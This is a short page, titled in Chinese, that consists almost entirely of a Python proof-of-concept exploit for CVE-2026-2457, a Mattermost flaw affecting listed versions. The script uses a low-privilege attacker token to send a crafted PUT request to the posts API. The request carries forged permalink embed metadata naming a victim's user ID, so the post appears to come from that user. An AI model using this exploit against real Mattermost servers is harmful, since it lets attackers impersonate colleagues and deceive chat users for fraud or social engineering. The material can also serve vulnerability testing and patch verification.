CVE-2026-2457 Mattermost帖子元数据未清理导致身份欺骗漏洞

import requests import json # CVE-2026-2457 PoC - Mattermost Permalink Embed Spoofing # Target: Mattermost <= 11.3.0, <= 11.2.2, <= 10.11.10 TARGET_URL = "https://mattermost.example.com" POST_ID = "target_post_id_here" ATTACKER_TOKEN = "attacker_auth_token_here" TARGET_USER_ID = "victim_user_id_here" def exploit_spoofing(): """ Exploit description: 1. Authenticate as low-privilege user 2. Send crafted PUT request with spoofed metadata 3. The post will display with impersonated user identity """ headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Crafted payload with spoofed metadata payload = { "id": POST_ID, "message": "Legitimate-looking message", "metadata": { "embed": { "type": "permalink", "data": { "post_id": POST_ID, "user_id": TARGET_USER_ID, # Spoofed user ID "timestamp": "2026-03-15T10:00:00Z" } } } } endpoint = f"{TARGET_URL}/api/v4/posts/{POST_ID}" response = requests.put(endpoint, headers=headers, json=payload) if response.status_code == 200: print("[+] Spoofed permalink embed created successfully") print(f"[*] Other users will see this post as from user: {TARGET_USER_ID}") else: print(f"[-] Exploit failed: {response.status_code}") print(response.text) if __name__ == "__main__": exploit_spoofing()